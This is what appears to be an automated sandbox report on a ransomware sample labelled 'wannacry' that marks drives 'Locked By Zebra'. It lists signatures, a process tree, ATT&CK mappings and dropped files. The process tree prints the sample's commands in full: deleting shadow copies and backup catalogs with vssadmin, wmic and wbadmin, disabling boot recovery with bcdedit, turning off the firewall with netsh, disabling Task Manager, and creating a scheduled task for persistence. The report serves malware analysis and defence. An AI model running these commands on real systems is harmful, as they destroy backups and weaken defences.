Overview

overview

10

Static

static

10

2024-04-28...ry.exe

windows7-x64

9

2024-04-28...ry.exe

windows10-2004-x64

9

Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 03:50

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2024-04-28_7f3607674f31dd96e4d6a009cb4dfb7e_wannacry.exe

  • Size

    987KB

  • MD5

    7f3607674f31dd96e4d6a009cb4dfb7e

  • SHA1

    5ebce6ec9924dc24e73a1faef6934128ea46c28c

  • SHA256

    ab1ead6628df92a6cf9e0aee75bdf3ad9e7bf7e9067baf2a5a83adbf4cfd5d02

  • SHA512

    68e0aff21d3ee5d24794c1d46f5a13fdc6af63f299ff175f74f89443b7edbcf09f7a96fdd43d64ed44e8336f37bfdc1c1806a2103846bbb2e14593fc0a125c06

  • SSDEEP

    12288:ut3UkyTa5ziXxqf8FLpqf77yAJKrMCLSoJjvN+MyjLvBG1YJX8ORnu:TkbsLpqDuA7E3cRnu

Score
9/10
evasionransomwarespywarestealer

Malware Config

Signatures

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs
  • Detects command variations typically used by ransomware 1 IoCs
  • Detects executables containing many references to VEEAM. Observed in ransomware 1 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes System State backups 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 20 IoCs
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 4 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-04-28_7f3607674f31dd96e4d6a009cb4dfb7e_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-04-28_7f3607674f31dd96e4d6a009cb4dfb7e_wannacry.exe"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Drops desktop.ini file(s)
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4832
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2024-04-28_7f3607674f31dd96e4d6a009cb4dfb7e_wannacry.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5028
      • C:\Windows\system32\attrib.exe
        attrib +h +s "C:\Users\Admin\AppData\Local\Temp\2024-04-28_7f3607674f31dd96e4d6a009cb4dfb7e_wannacry.exe"
        3⤵
        • Views/modifies file attributes
        PID:332
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "ZEBRA" /tr "C:\Users\Admin\AppData\Local\Temp\2024-04-28_7f3607674f31dd96e4d6a009cb4dfb7e_wannacry.exe"
      2⤵
      • Creates scheduled task(s)
      PID:1568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:4652
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin DELETE SYSTEMSTATEBACKUP
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1624
      • C:\Windows\system32\wbadmin.exe
        wbadmin DELETE SYSTEMSTATEBACKUP
        3⤵
        • Deletes System State backups
        • Drops file in Windows directory
        PID:2128
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wmic shadowcopy delete
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3164
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C wbadmin delete catalog -quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3328
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete catalog -quiet
        3⤵
        • Deletes backup catalog
        PID:3308
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
      2⤵
        PID:1728
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:4168
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3008
        • C:\Windows\system32\bcdedit.exe
          bcdedit /set {default} recoveryenabled no
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:3916
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C netsh advfirewall set currentprofile state off
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1224
        • C:\Windows\system32\netsh.exe
          netsh advfirewall set currentprofile state off
          3⤵
          • Modifies Windows Firewall
          PID:2224
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode mode=disable
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3904
        • C:\Windows\system32\netsh.exe
          netsh firewall set opmode mode=disable
          3⤵
          • Modifies Windows Firewall
          PID:1236
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2884
        • C:\Windows\system32\reg.exe
          Reg.exe add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
          3⤵
            PID:2248
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C wmic SHADOWCOPY /nointeractive
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic SHADOWCOPY /nointeractive
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3252
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C label A: Locked By Zebra
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4372
          • C:\Windows\system32\label.exe
            label A: Locked By Zebra
            3⤵
            • Enumerates connected drives
            PID:2868
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C label B: Locked By Zebra
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1724
          • C:\Windows\system32\label.exe
            label B: Locked By Zebra
            3⤵
            • Enumerates connected drives
            PID:4448
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C label C: Locked By Zebra
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4400
          • C:\Windows\system32\label.exe
            label C: Locked By Zebra
            3⤵
              PID:116
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C label D: Locked By Zebra
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:1016
            • C:\Windows\system32\label.exe
              label D: Locked By Zebra
              3⤵
              • Enumerates connected drives
              PID:3920
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C label E: Locked By Zebra
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:416
            • C:\Windows\system32\label.exe
              label E: Locked By Zebra
              3⤵
              • Enumerates connected drives
              PID:2300
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /C label F: Locked By Zebra
            2⤵
              PID:276
              • C:\Windows\system32\label.exe
                label F: Locked By Zebra
                3⤵
                • Enumerates connected drives
                PID:2320
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /C label G: Locked By Zebra
              2⤵
                PID:2596
                • C:\Windows\system32\label.exe
                  label G: Locked By Zebra
                  3⤵
                  • Enumerates connected drives
                  PID:3080
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C label H: Locked By Zebra
                2⤵
                  PID:3864
                  • C:\Windows\system32\label.exe
                    label H: Locked By Zebra
                    3⤵
                    • Enumerates connected drives
                    PID:4168
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C label I: Locked By Zebra
                  2⤵
                    PID:3912
                    • C:\Windows\system32\label.exe
                      label I: Locked By Zebra
                      3⤵
                      • Enumerates connected drives
                      PID:3868
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" /C label J: Locked By Zebra
                    2⤵
                      PID:2268
                      • C:\Windows\system32\label.exe
                        label J: Locked By Zebra
                        3⤵
                        • Enumerates connected drives
                        PID:3872
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C label K: Locked By Zebra
                      2⤵
                        PID:3508
                        • C:\Windows\system32\label.exe
                          label K: Locked By Zebra
                          3⤵
                          • Enumerates connected drives
                          PID:2360
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C label L: Locked By Zebra
                        2⤵
                          PID:2484
                          • C:\Windows\system32\label.exe
                            label L: Locked By Zebra
                            3⤵
                            • Enumerates connected drives
                            PID:3252
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C label M: Locked By Zebra
                          2⤵
                            PID:3080
                            • C:\Windows\system32\label.exe
                              label M: Locked By Zebra
                              3⤵
                              • Enumerates connected drives
                              PID:3400
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /C label N: Locked By Zebra
                            2⤵
                              PID:644
                              • C:\Windows\system32\label.exe
                                label N: Locked By Zebra
                                3⤵
                                • Enumerates connected drives
                                PID:4448
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /C label O: Locked By Zebra
                              2⤵
                                PID:1408
                                • C:\Windows\system32\label.exe
                                  label O: Locked By Zebra
                                  3⤵
                                  • Enumerates connected drives
                                  PID:1040
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /C label P: Locked By Zebra
                                2⤵
                                  PID:2012
                                  • C:\Windows\system32\label.exe
                                    label P: Locked By Zebra
                                    3⤵
                                    • Enumerates connected drives
                                    PID:2360
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /C label Q: Locked By Zebra
                                  2⤵
                                    PID:1144
                                    • C:\Windows\system32\label.exe
                                      label Q: Locked By Zebra
                                      3⤵
                                      • Enumerates connected drives
                                      PID:4932
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C label R: Locked By Zebra
                                    2⤵
                                      PID:4604
                                      • C:\Windows\system32\label.exe
                                        label R: Locked By Zebra
                                        3⤵
                                        • Enumerates connected drives
                                        PID:292
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C label S: Locked By Zebra
                                      2⤵
                                        PID:2868
                                        • C:\Windows\system32\label.exe
                                          label S: Locked By Zebra
                                          3⤵
                                          • Enumerates connected drives
                                          PID:3400
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C label T: Locked By Zebra
                                        2⤵
                                          PID:4376
                                          • C:\Windows\system32\label.exe
                                            label T: Locked By Zebra
                                            3⤵
                                            • Enumerates connected drives
                                            PID:4180
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /C label U: Locked By Zebra
                                          2⤵
                                            PID:3872
                                            • C:\Windows\system32\label.exe
                                              label U: Locked By Zebra
                                              3⤵
                                              • Enumerates connected drives
                                              PID:880
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /C label V: Locked By Zebra
                                            2⤵
                                              PID:4564
                                              • C:\Windows\system32\label.exe
                                                label V: Locked By Zebra
                                                3⤵
                                                • Enumerates connected drives
                                                PID:3100
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /C label W: Locked By Zebra
                                              2⤵
                                                PID:3308
                                                • C:\Windows\system32\label.exe
                                                  label W: Locked By Zebra
                                                  3⤵
                                                  • Enumerates connected drives
                                                  PID:1664
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /C label X: Locked By Zebra
                                                2⤵
                                                  PID:1936
                                                  • C:\Windows\system32\label.exe
                                                    label X: Locked By Zebra
                                                    3⤵
                                                    • Enumerates connected drives
                                                    PID:3792
                                                • C:\Windows\System32\cmd.exe
                                                  "C:\Windows\System32\cmd.exe" /C label Y: Locked By Zebra
                                                  2⤵
                                                    PID:4200
                                                    • C:\Windows\system32\label.exe
                                                      label Y: Locked By Zebra
                                                      3⤵
                                                      • Enumerates connected drives
                                                      PID:4448
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /C label Z: Locked By Zebra
                                                    2⤵
                                                      PID:1140
                                                      • C:\Windows\system32\label.exe
                                                        label Z: Locked By Zebra
                                                        3⤵
                                                        • Enumerates connected drives
                                                        PID:436
                                                    • C:\Windows\system32\NOTEPAD.EXE
                                                      "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Roaming\!HELP FILES ENCRYPTED!.txt
                                                      2⤵
                                                        PID:4932
                                                    • C:\Windows\system32\vssvc.exe
                                                      C:\Windows\system32\vssvc.exe
                                                      1⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2428
                                                    • C:\Windows\system32\wbengine.exe
                                                      "C:\Windows\system32\wbengine.exe"
                                                      1⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:3284
                                                    • C:\Windows\System32\vdsldr.exe
                                                      C:\Windows\System32\vdsldr.exe -Embedding
                                                      1⤵
                                                        PID:644
                                                      • C:\Windows\System32\vds.exe
                                                        C:\Windows\System32\vds.exe
                                                        1⤵
                                                        • Checks SCSI registry key(s)
                                                        PID:1108
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3820 --field-trial-handle=2248,i,10247514684337323751,15511974759131734137,262144 --variations-seed-version /prefetch:8
                                                        1⤵
                                                          PID:1716

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Reconnaissance

                                                        Resource Development

                                                        Initial Access

                                                        Execution

                                                        Command and Scripting Interpreter

                                                        2
                                                        T1059

                                                        Scheduled Task/Job

                                                        1
                                                        T1053

                                                        Persistence

                                                        Create or Modify System Process

                                                        1
                                                        T1543

                                                        Windows Service

                                                        1
                                                        T1543.003

                                                        Scheduled Task/Job

                                                        1
                                                        T1053

                                                        Privilege Escalation

                                                        Create or Modify System Process

                                                        1
                                                        T1543

                                                        Windows Service

                                                        1
                                                        T1543.003

                                                        Scheduled Task/Job

                                                        1
                                                        T1053

                                                        Defense Evasion

                                                        Hide Artifacts

                                                        1
                                                        T1564

                                                        Hidden Files and Directories

                                                        1
                                                        T1564.001

                                                        Impair Defenses

                                                        1
                                                        T1562

                                                        Disable or Modify System Firewall

                                                        1
                                                        T1562.004

                                                        Indicator Removal

                                                        4
                                                        T1070

                                                        File Deletion

                                                        4
                                                        T1070.004

                                                        Credential Access

                                                        Unsecured Credentials

                                                        1
                                                        T1552

                                                        Credentials In Files

                                                        1
                                                        T1552.001

                                                        Discovery

                                                        Peripheral Device Discovery

                                                        2
                                                        T1120

                                                        Query Registry

                                                        5
                                                        T1012

                                                        System Information Discovery

                                                        5
                                                        T1082

                                                        Lateral Movement

                                                        Collection

                                                        Data from Local System

                                                        1
                                                        T1005

                                                        Command and Control

                                                        Exfiltration

                                                        Impact

                                                        Inhibit System Recovery

                                                        5
                                                        T1490

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • C:\$Recycle.Bin\S-1-5-21-3808065738-1666277613-1125846146-1000\desktop.ini
                                                          Filesize

                                                          463B

                                                          MD5

                                                          038c9bfbb5b3a66571fae131a30ecef5

                                                          SHA1

                                                          61ec5384ce33224eda0782b82cf4203d03c0a8c2

                                                          SHA256

                                                          7b7f52d26a3f05c73e5a4edd57d33dc9af8ff89133feb7f499f9ab1bdd2b123c

                                                          SHA512

                                                          37785e470741a135b719c9e2f75c71683198943b9ee3224f44cb9e1fcf01760b491feba570cafb0c1cf6b08fa816a5d15222d2677e0784c09f08d74cd685ed9e

                                                          Download Submit
                                                        • F:\$RECYCLE.BIN\!HELP FILES ENCRYPTED!.txt
                                                          Filesize

                                                          922B

                                                          MD5

                                                          edaa0b91f5b297c18f57330f8b857177

                                                          SHA1

                                                          3f65ce2eddd91bfa8069be815ae39570999114e4

                                                          SHA256

                                                          a05357637ea73d949e05ff78f7843f7186ed15688993363481d3f17d90953863

                                                          SHA512

                                                          1d120e810c2df8c5bd880f05f5bd1b1ddf6ee9c6039cdd22044aefbcb1904179fab8704811a02afdcc4d5325d572c67dd81caf0ffcb2f78ea70653eb8568f3c1

                                                          Download Submit
                                                        • memory/4832-0-0x00000000002C0000-0x00000000003BC000-memory.dmp
                                                          Filesize

                                                          1008KB

                                                          Download
                                                        • memory/4832-1-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/4832-2-0x000000001B390000-0x000000001B3A0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                          Download
                                                        • memory/4832-5-0x00007FF9D5CB0000-0x00007FF9D6771000-memory.dmp
                                                          Filesize

                                                          10.8MB

                                                          Download
                                                        • memory/4832-6-0x000000001B390000-0x000000001B3A0000-memory.dmp
                                                          Filesize

                                                          64KB

                                                          Download